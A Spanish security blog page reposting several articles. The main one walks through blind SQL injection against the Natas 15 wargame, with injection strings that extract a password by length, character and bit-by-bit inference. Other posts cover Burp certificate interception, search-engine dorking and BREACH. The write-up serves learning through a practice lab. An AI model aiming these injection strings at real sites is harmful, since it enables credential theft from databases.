viernes, 27 de junio de 2014

Jugando sí se aprende (advierto, nivel básico)

Andaba un poco perdido tras haber terminado el Holiday Hack cuando un tweet de Daniel Garcia (a.k.a. @danigargu) dirigió mi atención hacia la web de overthewire y la lista de wargames que tienen publicados. De todos los disponibles el primero que llamó mi atención por su temática relacionada con la seguridad de las aplicaciones web en la parte del servidor fué Natas, y como "mente ociosa solo trae malos pensamientos" allá que me puse con ello.

Realmente os animo a jugar: es entretenido, el nivel es bastante asequible y enseña los errores que no se deberían cometer a la hora de asegurar una aplicación web. De hecho si he logrado convencerte no deberías seguir leyendo esto, ya que aunque no voy a detallar los pasos para completar el wargame si me centraré en una de las pruebas, lo que personalmente hice para pasarla y lo que he aprendido por el camino.

Toma de contacto

Para acceder a los distintos niveles tenemos que disponer de un usuario, que siempre es natasX siendo X el número correspondiente al nivel, y una contraseña que habremos obtenido en el nivel anterior. Concretamente comentaré acerca del nivel 15 y el método seguido para sacar la contraseña de acceso al nivel 16, ya que el usuario lo tenemos claro: natas16.

Para llegar a éste nivel hemos tenido que valernos previamente de una SQL injection utilizando las tan denostadas por unos y queridas por otros comillas, comillas dobles concretamente. Además durante el proceso de prueba/error hemos descubierto que la base de datos funcionando en el backend es MySQL.

Cuando accedemos al nivel 15 nos encontramos un formulario que permite introducir un nombre de usuario y comprobar si está dado de alta en la base de datos. También tenemos un enlace para ver el código fuente y por ende la lógica de la aplicación, pero como que somos muy chulitos vamos a probar a pelo. Primera prueba lógica que se me ocurre, probar con un usuario que exista, así que utilizando natas16 obtenemos:
This user exists.

Vale, vamos bien. Segunda prueba lógica, probar con un usuario que no exista, así que probaremos con foobar que queda como que muy profesional y casi seguro que no va a estar. Resultado:
This user doesn't exist.

Y ahora la refinitiva, vamos a meter unas comillas dobles para ver si el formulario, como el del nivel anterior, también es vulnerable a una SQL injection:
Error in query.

Ya la hemos jodío, parece que los errores producidos por carácteres "indeseables" son capturados por la aplicación. ¿Aún así seguirá siendo vulnerable? Recapitulemos, la lógica me inclina a pensar que la consulta SQL ejecutada debe ser algo como:
select * from users where username = "loqueyometo";

así que si utilizo un usuario existente más una expresión verdadera y exijo que ambas se cumplan para que la consulta sea válida y el formulario es vulnerable a una SQL injection debería devolverme la cadena "This user exists".

Como siempre, se entiende mejor viéndolo, en este caso la cadena a inyectar; el comentario final, los dos guiones, únicamente inhabilitan el resto de la consulta y los incluyo sólo por si realmente hay algo más detrás de lo que imagino que hay:
natas16" and 1 = 1 --"

con lo que la supuesta consulta SQL final quedaría:
select username from users where username = "natas16" and 1 = 1 --""

Lo pruebo y obtengo como resultado la cadena esperada, "This user exists". Por confirmar voy a probar ahora con un usuario existente más una expresión falsa volviendo a exigir que se cumplan ambas condiciones para que la consulta sea válida. Dado que una de ellas ya se de antemano que es falsa debería obtener como resultado la cadena "This user doesn't exist".
natas16" and 1 = 2 --"

con lo que la consulta SQL quedaría:
select username from users where username = "natas16" and 1 = 2 --""

Obtengo la cadena "This user doesn't exist" así que confirmo mis suposiciones: es una blind SQL injection.

¿Y eso que es?

Pues es una SQL injection de las de toda la vida sólo que en este caso no podemos obtener directamente lo que buscamos ya que la aplicación no nos devuelve ningun campo sobre el que tengamos control y podamos utilizar para mostrar resultados. Pero no está todo perdido ya que como obtenemos resultados diferentes para consultas correctas e incorrectas aún podemos inferir lo que buscamos.

Podemos intentar obtener la longitud de la contraseña para el usuario natas16 resultado que utilizaremos posteriormente para averiguarla. Existe una función de MySQL, length(str), que nos devuelve el tamaño de una cadena que se le pase como argumento. Si a eso le sumamos que sabemos los resultados para consultas correctas, llamemos a éste resultado flag OK, e incorrectas, llamemos a éste resultado flag NOK, podemos ir probando tamaños hasta que la aplicación nos devuelva NOK:
natas16" and (SELECT length(password) FROM users where username='natas16') > 1 --"

natas16" and (SELECT length(password) FROM users where username='natas16') > 2 --"

natas16" and (SELECT length(password) FROM users where username='natas16') > 3 --"

...

que producirán, siempre supuestamente, las siguientes consultas:
select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 1 --""

select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 2 --""

select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 3 --""

...

Llegará un momento en que el valor que indiquemos no será mayor, obtendremos el flag NOK, y podremos inferir que la longitud se corresponderá justo con el valor probado en la consulta anterior.

Disponiendo ahora de la longitud pasaremos a obtener la contraseña. Utilizaremos ahora dos funciones más ofrecidas por MySQL. La primera, ascii(chr), nos permite obtener el valor numérico correspondiente al carácter que se le pase como argumento, y la segunda, substring(str,pos,len), nos permite extraer tantos caracteres como se le indiquen, len, desde una posición determinada, pos. Lo que haremos:
  • Obtener un carácter de la contraseña mediante la función substring.
  • Convertirlo a su equivalente numérico utilizando la función ascii.
  • Compararlo con el primer valor de una serie de caracteres (letras mayúsculas y minúsculas, y números):
    • Si ambos caracteres coinciden, obtener el siguiente carácter y repetir el proceso.
    • Si los caracteres no coinciden, comparamos con el siguiente valor y así hasta que coincidan.
  • Reiniciar el proceso para obtener el siguiente carácter.
  • Cuando tengamos tantos caracteres como larga sea la contraseña habremos terminado.

Un ejemplo de la cadena a inyectar para comparar el primer carácter de la contraseña con el valor numérico en formato decimal extraído de la tabla ascii para el carácter 0 sería:
natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),1,1)) = 50 --"

que se correspondería con la siguiente consulta SQL generada por la aplicación:
select * from users where username = "natas16" and

  ascii(substring((SELECT password FROM users

  where username='natas16'),1,1)) = 50 --"

Si el primer carácter de la contraseña es igual a "0" la aplicación nos devolverá el flag OK, "This user exists", y podremos seguir probando con el segundo caracter de la contraseña. Si por el contrario el primer carácter de la contraseña no es "0" la aplicación nos devolverá el flag NOK, "This user doesn't exist", y tendremos que seguir probando con otro valor hasta dar con el adecuado, y así sucesivamente.

Hacer esto a mano es de locos, asi que vamos a tirar de python :)

Que trabaje la maquina por mí

La estructura original del primer script era mucho más fea, además de no devolver mucho feedback al usuario lo que podía llevar a pensar, y de hecho era lo que yo pensaba nada más escribirlo y probarlo, que una de dos, o se había quedado colgado o simplemente no funcionaba; aunque sí funcionaba y me ayudó a superar la prueba. Sumémosle a esto último que me quedé atascado bastante tiempo en el último nivel hasta que hice trampas y busqué la solución, la cual encontré aquí. Resumiendo, que me gustó mucho la forma en que Julien Voisin iba presentando los resultados y había estructurado su script para el nivel 16, así que adapté el mío para que se pareciese y quedara más chulo. Para hacer una estimación del tiempo que tardaba en obtener la password utilizaba el siguiente batch:
@echo off

setlocal



echo %time%

echo ---------------------
 
cmd /c %*

echo ---------------------
 
echo %time%

que pasándole como parámetros la cadena de ejecución del script me dió como resultado:
C:\>timer.cmd python blindsqli.py

16:15:13,65

---------------------

Url: http://natas15.natas.labs.overthewire.org

[*] Authenticating

[*] Guessing password length...

[*] Password lenght: AQUIVAELTAMANYO

[*] Guessing password...

[*] Password guessed!

Password: AQUIVALAPASSWORD

---------------------

16:22:07,97

El script cumplía con su objetivo aunque no destacaba precisamente por su velocidad, así que decidí tratar de mejorarlo leyendo el más que recomendable "SQL injection: attacks and defense", donde se mencionan dos métodos mucho más eficientes para obtener los datos deseados: búsqueda binaria y bit-a-bit.

Resulta que el algoritmo que había utilizado y que se encarga de recorrer secuencialmente el contenido de un conjunto de valores hasta dar con el deseado, se conoce como búsqueda lineal y es matemáticamente mucho más ineficiente que la búsqueda binaria; para que luego digan que las matemáticas no sirven para nada (nota mental: estudiar algoritmia). No me detendré en el método de la búsqueda binaria, que ya hay mucho material, pero sí en el de bit-a-bit, ya que me pareció mucho más fácil de implementar y a priori mucho más rápido que los otros dos. Me explicaré...(o al menos lo intentaré).

Como ya sabrás, cada carácter que forma parte de la contraseña se representa internamente como un byte el cual a su vez está dividido en 8 bits con sólo dos valores posibles, 0 ó 1. La idea es utilizar alguna de las operaciones binarias de MySQL para obtener el valor de cada uno de esos bits de forma independiente. Ésto nos garantizará que para cada carácter se realizarán un mínimo y un máximo de 8 consultas. Por lo tanto las cadenas que inyectaremos por cada carácter (aumentando N desde 1 hasta la longitud de la contraseña) serán:
natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 128 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 64 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 32 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 16 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 8 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 4 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 2 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 1 --"

Cada una de estas consultas, en caso de ser cierta nos devolverá el flag OK, "This user exists", y por lo tanto el valor del bit será igual a 1, o por el contrario devolverá el flag NOK, "This user doesn't exist", siendo entonces 0 el valor correspondiente al bit. Cuando tengamos los 8 bits tendremos por tanto el valor del byte, el cual interpretaremos como un caracter ASCII.

No sé si me he explicado muy bién, así que aquí os dejo el script definitivo para que le echéis un vistazo. Observaréis como también he eliminado la obtención previa de la longitud de la contraseña para ahorrar así algunas consultas más. Para comprobar si hemos llegado al final de la misma comparo el byte inferido con el valor para la cadena vacía, que sería el resultado obtenido al ejecutar la funcion substring pasándole como parámetro un valor de posición inexistente ya que la cadena es más corta. Un ejemplo de su ejecución haciendo nuevamente un cutre "benchmark":
C:\>timer.cmd python blindsqli.py

17:12:26,00

---------------------

Url: http://natas15.natas.labs.overthewire.org

[*] Authenticating

[*] Guessing password...

[*] Password guessed!

Password: AQUIVALAPASSWORD

---------------------

17:14:03,11

Al menos para este caso el script es mucho más rapido. Quizás utilizando adecuadamente threads para comparar simultáneamente los 8 bits por cada byte iría aún más rápido, aunque en las pruebas que yo he hecho sin tener ni idea la mejoría no ha sido muy notable que digamos :(

En breve más y mejor, espero ;)

Enlaces de interés

Advanced SQL Injection in SQL Server Applications

(more) Advanced SQL Injection

Hackproofing MySQL

Data-Mining With SQL Injection and Inference

Time-Based Blind SQL Injection with Heavy Queries

From SQL injection to shell

SQL Injection Online Cheatsheet

MySQL: funciones para cadenas de caracteres

SQL Injection: attacks and defense
Justin Clarke
Syngress

Fuente: http://neosysforensics.blogspot.com/2013/01/jugando-si-se-aprende-advierto-nivel.html

Inicio wargame: http://overthewire.org/wargames/natas/

miércoles, 25 de junio de 2014

Cómo instalar extensiones obsoletas de Firefox

Una de las principales pegas de actualizar Firefox aparece si alguna de las extensiones sin las que no podemos vivir deja de funcionar. Y pasa a menudo. Aunque el cambio de una versión a otra de Firefox sea haber cambiado una coma en los créditos del programa, el hecho de modificar un numerito ya puede echar al traste con tu extensión hasta que la actualice su autor.
Algunas veces esto ocurre por un motivo. Generalmente, porque los cambios internos de Firefox han desbaratado por completo el modus operandi de la extensión pero, ¿y si estás convencido de que funcionaría? Entonces... qué mejor forma de dejar de conjeturar, que probarlo por ti mismo.

La forma fácil

La forma más fácil de lograr instalar una extensión en una versión de Firefox para la que no es compatible es decirle a Firefox que no haga la comprobación. Pero, como no entiende nuestro idioma, será mejor que lo hagamos de un modo apropiado.
Lo primero que debes hacer es introducir lo siguiente en la barra de direcciones:
about:config
Tras pulsar Enter, lo más probable es que Firefox te advierta de que entras en territorio no apto para manazas. Pon cara de niño bueno y promete ser cuidadoso. Tras eso verás una lista de palabras sin mucho sentido.
A continuación debes crear una clave nueva. Haz clic derecho en cualquier parte de la pantalla y selecciona Nuevo / Lógico y en el recuadro de texto escribe lo siguiente:
extensions.checkCompatibility
Para terminar, sólo debes especificar que el valor debe ser False.

Y ya está. Tras reiniciar el navegador, Firefox no volverá a quejarse de las versiones y se tragará lo que le eches... para bien o para mal. Pero no te confíes pues, por ejemplo, una extensión diseñada para Firefox 2, difícil será que funcione tal cual para Firefox 3. Sin embargo, te puede ayudar si estás probando alguna versión beta del navegador y la extensión que quieres utilizar sólo sirve para la oficial.

La forma menos fácil

¿No te convence eso de tener que desactivar la comprobación de versiones? Tiene su punto negativo, y es que para que te funcione ESA extensión, a cambio dejarás libre el filtro para todas las demás.
No te preocupes, aún tenemos un cartucho más en la recámara listo para ser disparado. En esta ocasión, en vez de cambiar Firefox para nuestras exigencias, cambiaremos la extensión.
Lo primero que necesitas es el archivo XPI de la extensión. Lo malo es que al hacer clic con Firefox en ellos, se intentan instalar en vez de descargarse, pero puedes hacer clic derecho sobre ellos y seleccionar "Guardar enlace como", o utilizar otro navegador.
Una vez hecho esto debemos confesarte un secreto que en verdad no es tal: los archivos XPI no son más que archivos ZIP, así que renombra el archivo a ZIP y extrae todo su contenido en alguna carpeta.
Localiza el archivo llamado install.rdf y ábrelo con un editor de texto. Por ejemplo, el Bloc de notas.
Aquí debes editar el apartado , introduciendo una versión superior a la de tu Firefox. El resto será mejor que no lo toques.
Igual que hemos descomprimido antes un XPI, ahora debemos crearlo. ¿Cómo? Pues tan fácil como volver a hacer un ZIP de todo lo extraido con anterioridad (no te olvides de las carpetas) con WinZip, WinRAR, etc. y renombrarlo de nuevo a XPI.

Llegados a este punto, exhaustos ante tanto esfuerzo, ya disponemos de nuestra peculiar versión de la extensión, ahora mucho más compatible. Sólo falta arrastrarla hasta la ventana de componentes de Firefox para comprobar como ahora no recibes queja alguna.
De todos modos, repetimos lo dicho, esto no significa que la extensión vaya a funcionar a las mil maravillas...

Fuente: http://articulos.softonic.com/como-instalar-extensiones-obsoletas-de-firefox

Componentes de una aplicación Android

En Java o .NET estamos acostumbrados a manejar conceptos como ventana, control, eventos o servicios como los elementos básicos en la construcción de una aplicación.

Pues bien, en Android vamos a disponer de esos mismos elementos básicos aunque con un pequeño cambio en la terminología y el enfoque. Repasemos los componentes principales que pueden formar parte de una aplicación Android [Por claridad, y para evitar confusiones al consultar documentación en inglés, intentaré traducir lo menos posible los nombres originales de los componentes].

Activity

Las actividades (activities) representan el componente principal de la interfaz gráfica de una aplicación Android. Se puede pensar en una actividad como el elemento análogo a una ventana o pantalla en cualquier otro lenguaje visual.

View
Las vistas (view) son los componentes básicos con los que se construye la interfaz gráfica de la aplicación, análogo por ejemplo a los controles de Java o .NET. De inicio, Android pone a nuestra disposición una gran cantidad de controles básicos, como cuadros de texto, botones, listas desplegables o imágenes, aunque también existe la posibilidad de extender la funcionalidad de estos controles básicos o crear nuestros propios controles personalizados.

Service
Los servicios (service) son componentes sin interfaz gráfica que se ejecutan en segundo plano. En concepto, son similares a los servicios presentes en cualquier otro sistema operativo. Los servicios pueden realizar cualquier tipo de acciones, por ejemplo actualizar datos, lanzar notificaciones, o incluso mostrar elementos visuales (p.ej. actividades) si se necesita en algún momento la interacción con del usuario.

Content Provider
Un proveedor de contenidos (content provider) es el mecanismo que se ha definido en Android para compartir datos entre aplicaciones. Mediante estos componentes es posible compartir determinados datos de nuestra aplicación sin mostrar detalles sobre su almacenamiento interno, su estructura, o su implementación. De la misma forma, nuestra aplicación podrá acceder a los datos de otra a través de los content provider que se hayan definido.

Broadcast Receiver
Un broadcast receiver es un componente destinado a detectar y reaccionar ante determinados mensajes o eventos globales generados por el sistema  (por ejemplo: “Batería baja”, “SMS recibido”, “Tarjeta SD insertada”, …) o por otras aplicaciones (cualquier aplicación puede generar mensajes (intents, en terminología Android) broadcast, es decir, no dirigidos a una aplicación concreta sino a cualquiera que quiera escucharlo).

Widget
Los widgets son elementos visuales, normalmente interactivos, que pueden mostrarse en la pantalla principal (home screen) del dispositivo Android y recibir actualizaciones periódicas. Permiten mostrar información de la aplicación al usuario directamente sobre la pantalla principal.

Intent

Un intent es el elemento básico de comunicación entre los distintos componentes Android que hemos descrito anteriormente. Se pueden entender como los mensajes o peticiones que son enviados entre los distintos componentes de una aplicación o entre distintas aplicaciones. Mediante un intent se puede mostrar una actividad desde cualquier otra, iniciar un servicio, enviar un mensaje broadcast, iniciar otra aplicación, etc.

Fuente: http://www.sgoliver.net/blog/?p=1295

Google Street Car, Malware y el Modo Monitor WiFi

Como ya conté en el post que escribí en mi blog personal de Hacking Ético en EFEFuturo, este verano tuve, gracias a mis padres, la oportunidad de hacer un fantástico viaje a bordo de un crucero por el Mar Báltico con toda mi familia. Como buen adicto que soy a la seguridad informática,  además de para conocer destinos increíbles y disfrutar de la compañía de mis seres queridos, aproveché el poco tiempo que me quedaba libre para continuar practicando con mis experimentos de inseguridad.

El planteamiento inicial de la prueba

En este caso particular, el rato del que dispuse fue concretamente de 1 minuto y 12 segundos, en los que aproveché para capturar el tráfico de la red con mi antena WiFi en modo monitor, desde la habitación de un hotel de Londres donde estuvimos los días previos a coger el barco. No hubo más tiempo porque mi mujer aguardaba para salir, y transcurrido ese minuto mi hija de 1 año se había encargado de recorrer el suelo de toda la habitación deshaciendo las maletas con su particular algoritmo de ordenación :)


Figura 1: Captura en modo monitor con WireShark

El objetivo del experimento era conseguir entender cuánta información era posible que el famoso coche de Google Street hubiera capturado, teniendo en cuenta que él hacia más o menos lo mismo: Capturar durante un breve espacio de tiempo el espectro WiFi en modo monitor.

Para los que no recuerden la historia, basta decir que durante un periodo de tiempo, el coche que tomaba las fotos para Google Street View, venía con unas antenas WiFi que capturaban tráfico en modo monitor. Eso no gustó a todo el mundo, y acabó con denuncias y redadas en muchos países del mundo. Solo eran unos segundos, pero el tráfico capturado... ¿podría ser muy sensible?


Figura 2: Bromas con el caso de la captura de tráfico WiFi del Google Street Car
Cuando se está capturando el tráfico de una red WiFi de un hotel, desde una habitación ubicada en una determinada habitación con una orientación particular, uno se limita a ver los paquetes que pasan cerca de los puntos de acceso que se encuentran a su alcance.

Los datos obtenidos en el experimento

Una captura tan corta, a priori no parece que debiera aportar mucha información para analizar, debido al escaso número de paquetes de datos obtenidos. De hecho, en mi caso concreto, a pesar de que existía algo de tráfico HTTP en la captura, no se podían identificar peticiones concretas:


Figura 3: Cero peticiones HTTP reconocidas en la captura

Del mismo modo, la herramienta NetworkMiner de la que tanto se aprende en el libro de Ataques en Redes de Datos IPv4 & IPv6, y que tan buenos resultados me ha dado en otras ocasiones, identifica los hosts en la captura y las tramas de datos, pero no es capaz de reconstruir por ejemplo imágenes, archivos o peticiones, lo cual es normal dada la extensión de la captura.


Figura 4: Análisis de imágenes con NetworkMiner

Sin embargo, si se utiliza la herramienta de análisis forense y file carving llamada Foremost, sí que es posible apreciar fragmentos de imágenes que se han transmitido por la red durante ese minuto y medio.


Figura 5: Fragmentos de imágenes obtenidos con data carving

Si nos fijamos con atención, se pueden observar fragmentos de imágenes que se corresponden con el popular movimiento en la red conocido como "memes". Es decir, imágenes divertidas con un mensaje gracioso, que numerosos usuarios intercambian constantemente a través de Whatsapp, Line, o cualquier otro sistema de mensajería. Puedo dar fe a ciencia cierta de esto, pues mis amigos se han pasado el verano enviándome estos famosos memes de Julio Iglesias, que tan de moda se han puesto últimamente.


Figura 6: Imagen parcialmente reconstruida

Es normal que al estar en Londres, los textos sean en inglés. En este meme concreto se puede leer la frase “Bumps into something...”. Para identificar la parte de la captura en la que se encuentra esta parte de la imagen transmitida existen diferentes alternativas. La más evidente, analizar el fichero reconstruido con un editor hexadecimal, y buscar los bytes que corresponden a la imagen en la captura. 


Figura 7: Análisis hex del fichero recuperado con BackTrack (aún no he migrado a Kali)

Haciendo esto podemos obtener mucha información, desde la dirección IP del servidor que está transmitiendo la imagen, la dirección IP del cliente en la red, así como la dirección MAC del mismo analizando las cabeceras IEEE 802.11. En este caso en concreto, se trataba de un dispositivo Apple. 


Figura 8: Paquete utilizado para recuperar un fragmento del meme

Lo curioso de esto es que, si hacemos algo de Hacking con Buscadores, para intentar obtener información acerca de esta dirección IP, podemos ver que es una dirección es sospechosa, y que ha sido detectada por el servicio VirusTotal como potencialmente dañina, ya que está continuamente resolviendo a diferentes dominios de dudosa reputación.


Figura 9: Análisis en Virus Total de la imagen descargada

Con los pocos datos de los que se disponen en la captura, no es posible determinar de qué web, o a través de qué aplicación el cliente conectado a la red se estaba descargando esta divertida imagen, pero lo que sí se puede afirmar es que nada bueno podía venir de allí.

Reflexión final

Con este experimento, es posible ver que a pesar de que el Google Street Car se conectara unos pocos segundos, puede obtenerse algo de información que podría ser sensible. Lógicamente, solo sería peligroso este tipo de capturas para aquellas redes WiFi que no se hubieran fortificado, ya que si por ejemplo hubieran puesto una medida de seguridad entonces habría que previamente crackear WPA/WPA2 .

Esta es también una pequeña reflexión más del peligro que entraña conectarse a redes WiFi públicas inseguras, en las que cualquiera puede monitorizar los datos que envías incluso sin estar conectado. En todo esto, no se tiene en cuenta los posibles vectores de ataque activos en los que se implementan esquemas tipo man in the middle en redes IPv4 o IPv6.


Figura 10: MacDefender para Mac OS X, un rogue AV, se distribuía usando envenenamiento de resultados de fotos de pirañas en Google Images

Además en este caso concreto la reflexión es doble, pues además de volver a incidir en la inseguridad de las redes WiFi públicas - y alertar a los no avisados de que los datos viajan libremente por el aire - se puede encontrar un nuevo ejemplo de la jungla en la que se ha convertido la red, donde hasta descargarse una aparentemente inocua imagen divertida para enviar a nuestros amigos puede convertirse en un problema, si lo haces desde el servidor equivocado, que pudiera estar haciendo envenenamiento de resultados de Google Images, por ejemplo, como forma de distribución de malware.

Autos: Deepak Daswani

http://deepakdaswani.es
http://twitter.com/dipudaswani

Fuente:
http://www.elladodelmal.com/2013/10/google-street-car-memes-malware-y-el.html

Interceptar con un proxy peticiones SSL de un iPhone


Como hemos repetido incansables veces, una de las partes más importantes de auditar aplicaciones móviles es auditar los servicios web con los que interactuan. Si la comunicación se hace utilizando HTTPS, no basta con configurar el proxy en el móvil, ya que las aplicaciones nativas hacen llamadas a la API exigiendo que el certificado sea válido.

La forma más sencilla de interceptar estas comunicaciones es añadiendo un certificado de confianza siguiendo los pasos que se describen a continuación:

1.- Se arranca el servidor proxy, en este caso "burp" y configurado para que genere certificados SSL:

Opciones del proxy Burp
2.- Usando Firefox se visita cualquier página en https para que muestre error de certificado y se pueda exportar mediante la opción de añadir una excepción, ver, pestaña detalles,  y pulsando sobre PortSwigger CA , darle a Exportar. El fichero generado ha de tener extensión ".cer" para luego ser importado en el móvil.


Exportar certificado de PortSwigger CA con Firefox
3a.- Una vez exportado se puede importar de tres formas distintas. La primera y más sencilla es mandar un correo adjuntando el archivo a nuestra propia dirección y cuando se reciba, abrir el adjunto para instalarlo tal y como se muestra en las tres capturas siguientes.


Correo electrónico con certificado adjunto


Propiedades del certificado previa instalación

Certificado finalmente instalado
3b.- Otra opción alternativa para añadir el certificado es utilizar la utilidad de Apple "Iphone Configuration Utility", añadiendo un nuevo perfil.



3c.- La última opción es colgar el certificado en un servidor web y acceder mediante Safari para descargarlo, lo que proporcionará el menú de instalación igual a la primera opción.


4.- Una vez instalado el certificado, se configura el proxy en los ajustes de la Wifi:




Una vez terminado el trabajo, se elimina desde Ajustes->General->Perfil->Eliminar.

Ajustes generales

Fuente: http://www.securitybydefault.com/2012/02/interceptar-con-un-proxy-peticiones-ssl.html

Hacking con buscadores en los repositorios Open Source

 En la última conferencia Asegúr@IT que impartimos en Málaga participó el gran Enrique Rando con una charla sobre Hacking con Buscadores. En esa charla enseñaba trucos avanzados de cómo sacar provecho a todo lo que había escrito en su libro de Hacking con Buscadores e hizo algunas demos muy impactantes. Entre otras cosas utilizaba unos dorks para buscar las vulnerabilidades directamente en los repositorios de código para localizar proyectos Open Source con bugs de SQL Injection que después pudieran ser explotados en sus instalaciones en real. Aquí hay algunas de las demos que realizó, con un ejemplo de búsqueda de Command Injection localizando herramientas que hacían Ping.
Figura 1: Demos de la presentación de Enrique Rando en el Asegur@IT 9 de 2011
El analizar los proyectos Open Source no es nuevo, y las empresas de búsqueda de bugs que se dedican profesionalmente a esto, tienen sus analizadores de código conectados a todos los repositorios para revisarlos constantemente, ya que ahí puede salir de todo. Nosotros lo hicimos también tras publicar las técnicas de Blind LDAP Injection para localizar proyectos vulnerables.
En la última Hack.Lu 2013 los investigadores Dennis Pellikaan y Thijs Houtenbos de la Universidad de Amsterdam han impartido una charla analizando los proyectos de de GitHub y SourceForge para localizar vulnerabilidades SQL Injection, Remote File Injection y de Command Injection, utilizando para ello dorks para localizar instrucciones como estas.
Figura 2: instrucciones vulnerables a buscar en los proyectos de GitHub y SourceForge
Por supuesto, de los resultados iniciales han tenido que ir filtrando todo para quitar los que tengan protecciones extras que invaliden la vulnerabilidad, para lo que se implementan una especie de analizador de código estático utilizando expresiones regulares que filtren los que tienen alguna protección de los que no tienen ninguna.
Figura 3: Expresiones regulares para localizar los bugs en el código
Una vez tienen esto, el resto es automatizar la búsqueda de estos proyectos por medio de dorks en Google o BING para hacer un poco más de hacking con buscadores, saltándose para ello los captcha del motor de búsquedas haciendo uso de Round Robin sobre 13 distintas direcciones IP y realizando una petición cada 8 segundos, lo que les permitió localizar unas 122.000 URLs vulnerables y explotables indexadas por los buscadores.
Figura 4: Por tipo, los bugs más localizados siguen siendo SQL Injection
Estas URLs encontradas se convierten en maná para los distribuidores de malware, los amigos del Fraude Online, los especialistas en Black SEO, ya que con un kit de exploits actualizado podría permitir llegar a millones de usuarios para crear unas buenas botnets de gran tamaño.
Figura 5: Proyectos vulnerables y distribución de ellos en repositorios de código
En la presentación hay también resultados de porcentajes de proyectos vulnerables o no con estas tres vulnerabilidades analizadas, y los resultados son bastante malos, tal y como se puede ver en estas gráficas, así que si vas a poner un proyecto Open Source, procura que sea uno mantenido y cuidado - que los hay - y no uno subido y abandonado en su repositorio de código - que los hay -.

Fuente: http://www.elladodelmal.com/2013/11/hacking-con-buscadores-en-los.html

Configurar Eclipse para Android en un solo paso

Eclipse es la herramienta por excelencia para desarrollar aplicaciones Android, el problema es que la instalación de Android es lenta y complicada. Pero eso era antes de que Google lanzara su propia version de Eclipse que ya viene con el SDK y todas las herramientas de desarrollo instaladas.
Screen Shot 2013-01-19 at 10.23.31 PM

Puedes descargalo en esta dirección:
http://developer.android.com/sdk/index.html
Aprende a instalar y utilizar la nueva versión de Eclipse para Android en este video tutorial

El paquete de desarrollo incluye:
  • Eclipse Juno, la mas reciente version de este IDE.
  • El SDK de Android todas las herramientas de desarrollo y emuladores.
  • La version de ADT (Android Developer tools) preinstalada en Eclipse
  • Los paquetes y la maquina virtual de Android 4.2 (Jelly Bean).

Solo tienes que instalar el paquete y en un solo paso podrás comenzar a trabajar en tus aplicaciones!

Fuente: http://revolucion.mobi/2013/01/22/configurar-eclipse-para-android-en-solo-paso/

NSA PlaySet: Juega con los juguetes de espionaje de la NSA

 Dentro de todas las revelaciones sobre las actividades de la NSA que fueron filtradas por Edward Snowden se encontraba el catálogo de herramientas de espionaje de ANT. Un total de 48 proyectos con utilidades para controlar y hackear todo tipo de sistemas que los miembros de la NSA tenían a su disposición.  El catálogo completo lo tenéis este PDF de 48 páginas donde hay todo tipo de utilidades de hacking de red, de herramientas de espionaje SDR, o de gadgets hardware aplicables diferentes esquemas de ataque.
Figura 1: NSA Ant
Ahora, el objetivo en la comunidad hacker es poder recrear todo lo descrito en ese catálogo de ANT, para que el conocimiento de cómo están creadas esas herramientas ayuden a mejorar la seguridad de los sistemas, añadiendo las utilidades al catálogo de los pentesters, o abriendo nuevos caminos a los investigadores de seguridad. 

Para ello, se ha lanzado e proyecto NSA PlaySet, donde cada investigador de seguridad puede aportar su conocimiento sobre cómo está construido cada uno de los proyectos de espionaje de ANT, que están aún en Problemas Abiertos, aportando documentación, herramientas o estudios totales o parciales de cómo está construido o puede replicarse cada uno de ellos.
Figura 3: NSA PlaySet
La verdad es que si tienes un trabajo de fin de carrera o master y no sabes qué hacer, intentar replicar uno de los proyectos de ANT puede ser divertido e interesante. Además, si este verano querías aprovechar el tiempo libre que te quede - si es que te va a quedar algo - juntarse a estudiar uno de ellos, documentarlo y presentarlo al mundo puede ser entretenido cuanto menos.

Fuente: http://www.elladodelmal.com/2014/06/nsa-playset-juega-con-los-juguetes-de.html

BREACH o cómo romper HTTPS en sólo 30 segundos

BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) es una nueva herramienta que utiliza una técnica mediante la cual es posible extraer tokens de logins, IDs de sesión y otra información sensible a partir de tráfico web cifrado SSL/TLS y en ¡sólo 30 segundos!.

Esto significa que podría permitir a un atacante descifrar fácilmente un canal HTTPS de un banco o de un sitio de venta online }:)



Fue presentada en la última conferencia Black Hat y se aprovecha varias vulnerabilidades de forma similar a lo que hacía CRIME con deflate, es decir, ataca al algoritmo de compresión aunque en las respuestas HTTP. Eso sí, como comentamos la información sensible ha de estar en las respuestas HTTP, el servidor por supuesto ha de utilizar compresión HTTP y el exploit requiere que la víctima visite primero un enlace malicioso.

Más información en: http://breachattack.com
Paper: http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf
Presentación: http://breachattack.com/resources/BREACH%20-%20BH%202013%20-%20PRESENTATION.pdf

Demo:

Google Chrome permite descargar una web y llevar un .exe

¡Saludos!

        Hago este post después de ponerme en contacto con Google para reportarle lo que considero un fallo de seguridad, pero que según ellos "this is working as intended" . Tal y como reza el título, cuando guardas una web (es decir, el HTML y todos los recursos necesarios para su correcta visualización) no filtran ningún tipo (al menos las que he probado) de extensión, por lo que fácilmente se puede colar algún archivo malicioso (en forma de .exe, por ejemplo) para que sea ejecutado por el usuario. Es decir, para que quede claro: inocente de mí, quiero descargarme una web (es decir, que pensamos que lo que estamos descargando es inofensivo) y sin embargo puedo estar descargándome además un ejecutable. Sin preguntarme. Sin vaselina.

